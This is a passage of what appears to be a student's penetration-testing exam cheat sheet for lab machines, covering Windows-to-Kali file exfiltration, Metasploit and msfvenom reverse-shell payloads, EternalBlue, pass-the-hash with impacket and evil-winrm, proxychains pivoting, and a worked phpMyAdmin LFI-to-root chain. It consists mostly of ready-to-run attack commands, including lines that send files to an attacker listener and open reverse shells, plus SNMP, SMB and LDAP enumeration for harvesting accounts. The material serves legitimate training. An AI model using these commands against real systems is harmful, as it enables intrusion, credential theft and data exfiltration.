# or run directly: \\$LHOST\share\winPEAS.exe
```

Windows → Kali (exfil flags / hashes)

```
# Kali: listener to catch an upload
```

```
nc -lvnp 4444 > loot.txt            # then on Windows: send file over nc (if nc.exe present)
```

```
# Windows: POST a file to a Kali listener (simple)
(New-Object System.Net.WebClient).UploadFile("http://$LHOST:8000/upload","C:\path\flag.txt")
```

Easiest for small files like flags: just `type C:\Users\user\Desktop\flag_easy.txt` and copy the text into your notes/screenshot. For an SMB server started with write access, `copy flag.txt \\$LHOST\share\`.

Notes / gotchas

- Serve from the directory that holds the file; `python3 -m http.server` serves the current dir.
- `C:\Temp` may not exist — `mkdir C:\Temp` first, or download to `C:\Users\Public\` (world-writable).
- Prefer `C:\Users\Public\`, `C:\Windows\Temp\`, or the user's own dir for write access as a low-priv user.
- Keep a reverse-shell `nc.exe` / tools ready in `toolkit/payloads/` so they're one `cp` from `/var/www`.

Worked methodology example from Tut1 (pattern to reuse)

Although this example targets Linux, the **flow** is the exam pattern:

1. `nmap -p- -sC -sV $RHOST --open -vv -oN enum/fullports` → found 22, 80, 33060.
2. Enumerate web (port 80) → found `/secret.txt` → content was **base64**.
3. Decode: `cat secret.txt | base64 -d > id_rsa` → it was an **RSA private key**.
4. `chmod 600 id_rsa` → `ssh user@$RHOST -i id_rsa` → foothold.
5. Privesc: `find / -perm -u=s -type f 2>/dev/null` → SUID misconfig → GTFOBins → `/bin/bash -p` → root.

Lesson: **web enumeration → find a credential/key → login → privesc** is the expected shape. (CyberChef `https://gchq.github.io/CyberChef/` is the course's go-to for decoding.)

Metasploit, PSExec & Proxychains

Source: Lec/Tut 5. Tut5's worked box (**Presidential**) is actually a *manual* chain (phpMyAdmin LFI → reverse shell → `tar` capability → root SSH key), and the rest is an Anagnorisi/Kataskopos **enumeration Q&A** — captured below. Placeholders: `$RHOST` = target, `$LHOST` = Kali.

⚠️ THE "ONE MSF USE" RULE — spend it wisely

Metasploit (`msfconsole` exploit modules) is allowed **exactly once** in the exam. Manual exploitation earns **bonus marks**. So:

- **Default to manual.** searchsploit + a public PoC + a hand-built reverse shell is the expected path.
- **Save MSF** for the ONE spot where a manual exploit is fiddly/unreliable and MSF has a clean module (e.g. a specific CVE with a solid `exploit/` module), or where you're stuck and time is bleeding.
- `msfvenom` **does NOT count** as "the one use" — it just generates a payload file. Use it freely.
- `multi/handler` **does NOT count** — it's just a listener. Use it freely to catch shells. (The "one use" = running an actual **exploit module** against the target.)

1. msfvenom — payload generation (free to use, port 4444/5555/6666)

```
# Windows reverse shell exe (THE exam target)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=4444 -f exe -o met.exe
# Other formats: -f elf (linux) | -f raw | -f psh (powershell) | -f asp/aspx/war/php (webshell)
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=4444 -f raw -o shell.php
# List payloads:  msfvenom -l payloads | grep windows
```

Deliver via `file-transfer.md`, catch with `nc -lvnp 4444` (plain shell) or `multi/handler` (meterpreter).

2. Catching meterpreter — multi/handler (just a listener, free)

```
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST $LHOST; set LPORT 4444; set ExitOnSession false; run -j"
```

Meterpreter post-shell goodies: `getuid`, `sysinfo`, `getsystem` (auto-privesc attempt), `hashdump`, `ps`, `migrate <pid>`, `shell`, `download` / `upload`, `background`.

3. msfconsole workflow — THE one exploit use

```
msfconsole -q
search <cve or software name>            # e.g. search ms17-010  |  search phpmyadmin
use exploit/windows/smb/ms17_010_eternalblue
info                                     # read requirements + targets
show options
set RHOSTS $RHOST
set LHOST $LHOST
set LPORT 4444                           # EXAM: 4444/5555/6666 only
set payload windows/x64/meterpreter/reverse_tcp   # or shell_reverse_tcp (plainer, stealthier)
check                                    # (if supported) verify vuln WITHOUT firing - do this
first
exploit                                  # fire. this is THE one use.
```

Tips: `set FORCEEXPLOIT true` to override a cautious `check`; `sessions -l` then `sessions -i N` to interact; `background` to drop to msf and keep the session.

4. PSExec — auth'd code exec on Windows (prefer the MANUAL impacket version)

Once you have **admin creds or an admin NTLM hash** on a Windows box, PSExec gives a SYSTEM shell.

```
# MANUAL (impacket) — does NOT burn the MSF "one use":
impacket-psexec DOMAIN/Administrator:Password@$RHOST          # password
impacket-psexec -hashes :<NTLM> Administrator@$RHOST          # pass-the-hash (no password
needed)
impacket-wmiexec Administrator:Password@$RHOST                # quieter (no service created)
impacket-smbexec Administrator:Password@$RHOST                # alternative
# evil-winrm is also manual & clean if WinRM (5985) is open:
evil-winrm -i $RHOST -u Administrator -p Password
evil-winrm -i $RHOST -u Administrator -H <NTLM-hash>          # pass-the-hash
```

MSF equivalent (only if you choose to spend the use here): `use exploit/windows/smb/psexec`. **Preferred exam move:** impacket-psexec / evil-winrm (manual, bonus marks) over MSF psexec.

5. Proxychains — pivot through a compromised host to an internal subnet

If a foothold box has a **second NIC** into an internal network you can't reach directly:

```
# meterpreter: add a route through the session, then run a socks proxy
# (in msf)  run autoroute -s 10.10.10.0/24      OR   use post/multi/manage/autoroute
# (in msf)  use auxiliary/server/socks_proxy; set SRVPORT 1080; run -j
# edit /etc/proxychains4.conf -> last line:  socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445,3389 10.10.10.5     # scan internal host via the tunnel
proxychains evil-winrm -i 10.10.10.5 -u user -p pass
```

Manual (no MSF) alternative — SSH dynamic port forward if you have SSH on the pivot:

```
ssh -D 1080 user@$RHOST           # then proxychains <tool> <internal-ip>
```

A box with **two network cards** = strong sign it's a pivot into an internal subnet (Tut5 hint).

Worked example — Presidential box (Tut5, fully MANUAL — no MSF needed)

1. `nmap -A -p-` → port **80** (web) + **ssh on 2082** (non-standard).
2. Web enum → footer email reveals domain `votenow.local` → add to `/etc/hosts`.
3. `gobuster dir -u $RHOST -w common.txt -x php,php.bak,html,txt,bak,old` → `config.php.bak`. `curl -v http://$RHOST/config.php.bak` → **DB name, user, password** leaked.
4. vhost fuzz (gobuster vhost failed → **wfuzz** with `-H "HOST: FUZZ.votenow.local" --hw 854`) → `datasafe.votenow.local` (phpMyAdmin). Add to `/etc/hosts`, log in with leaked creds.
5. DB has `users` table → admin hash → crack: `john --wordlist=rockyou.txt admin.hash` → `Stella`.
6. phpMyAdmin version **4.8.1** → `searchsploit phpmyadmin 4.8.1` → **LFI** exploit `44928.txt`. Run its SQL query, then hit `index.php?target=db_sql.php%253f/../../../../../../../../../var/lib/php/session/sess_<YOUR-SESSION-ID>` (grab session ID from browser devtools → Storage; try `session` vs `sessions` in the path).
7. LFI + a pentestmonkey PHP `system()` reverse shell in the SQL → `nc -lvnp 4444` catches it. (Tutorial used its own port — **exam = 4444/5555/6666**.) Read `user.txt`.

8. **Privesc:** `getcap -r / 2>/dev/null` → `tar` has `cap_setuid +ep`. Archive root's SSH key: `cd ~; tar -cvf id.tar /root/.ssh/id_rsa; tar -xvf id.tar` → read `root/.ssh/id_rsa`.
9. Copy key to Kali, `chmod 600 id_rsa`, `ssh -p 2082 root@votenow.local -i id_rsa` → **root**.

Lesson: leaked backup file → creds → crack → versioned app → searchsploit → LFI → shell → capability privesc. **Entirely manual** — this is the bonus-mark path. (Same `tar` / `getcap` trick as DomDom in `reverse-shells.md`.)

Anagnorisi / Kataskopos enumeration cheat (Tut5 Q&A — Windows-ish services on Linux)

These machines **mimic** Windows/AD (WinRM/LDAP/Kerberos banners) but are Ubuntu — *a banner does not confirm the OS*. Still, the enumeration commands are exactly what you'd run on the real Windows exam target. See also `scanning-recon.md` §6.

Port → role quick map (AD/Windows indicators)

Ports	Meaning
389 LDAP · 636 LDAPS · 3268/3269 Global Catalog	directory services (DC indicator)
88 Kerberos · 464 kpasswd	auth (DC indicator)
139/445 SMB · 137/138 NetBIOS (UDP→filtered on TCP scan)	file sharing
53 DNS + 88 + 389 + 445 together	**Domain Controller**
5985 WinRM · 47001 (WinRM alt, often only via SNMP) · 3389 RDP	remote mgmt
21 FTP · 23 Telnet	legacy cleartext — easy creds
65001 Flowise · 8000 Jetty · 8080 Tomcat · 9443 nginx	web apps on odd ports

SMB / RPC / LDAP user enumeration

```
smbclient -L //$RHOST -N                                # list shares (null session)
smbclient //$RHOST/public -N                            # access guest share
enum4linux-ng -A $RHOST                                 # full enum (modern Win blocks anon -
needs creds)
enum4linux-ng -A -u USER -p PASS $RHOST                 # authenticated enum (lists domain users)
rpcclient -U "" -N $RHOST -c "enumdomusers;querydispinfo"
```

Modern Windows Server **blocks anonymous** RPC/SMB/LDAP enum — you need creds first (find them in a world-readable share/web dir, e.g. Kataskopos leaked `admin/Admin123!` in `/admin/panel/spamlog.log`).

DNS enumeration (port 53)

```
dig @$RHOST <domain.lab> ANY            # SOA/NS/MX records
dig @$RHOST <domain.lab> AXFR           # zone transfer (if allowed → every host)
```

SNMP enumeration (161/udp) — HIGH VALUE on Windows (community `public`)

```
sudo nmap -sU --open -p 161 $RHOST                      # is SNMP up?
snmpwalk -c public -v1 $RHOST                           # whole MIB tree (big)
snmpwalk -v2c -c public $RHOST 1.3.6.1.2.1.1            # system: OS, hostname, FQDN, contact
snmpwalk -v2c -c public $RHOST 1.3.6.1.4.1.77.1.2.25    # Windows USER ACCOUNTS
snmpwalk -v2c -c public $RHOST 1.3.6.1.2.1.25.6.3.1.2   # installed SOFTWARE
snmpwalk -v2c -c public $RHOST 1.3.6.1.2.1.25.4.2.1.2   # running PROCESSES (lsass.exe,
mysqld.exe...)
snmpwalk -v2c -c public $RHOST 1.3.6.1.2.1.6.13.1.3     # open TCP ports (can reveal ports nmap
```

```
missed)
snmpwalk -v2c -c public $RHOST 1.3.6.1.2.1.1.5        # hostname/domain
```

SNMP can leak **domain name, all user accounts (incl. `krbtgt` = confirms a DC), installed software, running processes, and extra open ports** nmap didn't show (e.g. 47001). Big recon win if `public` works.

NFS / RPC (port 111)

```
rpcinfo -p $RHOST
nmap -p 111 --script nfs-ls,nfs-showmount,nfs-statfs $RHOST
showmount -e $RHOST                                    # list NFS exports → mount + read
```

Web-app recon on odd ports (Kataskopos pattern)

```
gobuster dir -u http://$RHOST -w /usr/share/wordlists/dirb/common.txt
# go deeper into each hit; add extensions: -x txt,log,config,bak
curl -s http://$RHOST/admin/panel/spamlog.log          # leaked creds live in logs/configs
curl -s http://$RHOST:65001                            # Flowise banner → version
```

Flowise (port 65001): unauthenticated API. Tut5 cites **CVE-2024-31621** (auth bypass) and **CVE-2025-58434** (all versions < 3.0.5, exploit-db 52557). `curl http://$RHOST:65001/api/v1/chatflows` dumps internal flows with no auth — example of an unauthenticated-API critical find.

Gotchas

- Decide EARLY where your one MSF use goes — don't fire a module on a whim and regret it at the hard flag.
- `check` before `exploit` when the module supports it (confirms vuln without firing/crashing the target).
- Pass-the-hash (impacket `-hashes :<NTLM>` / evil-winrm `-H`) beats cracking when you already have a hash.
- SNMP `public` is a cheap, quiet, high-yield check on a Windows target — always try it.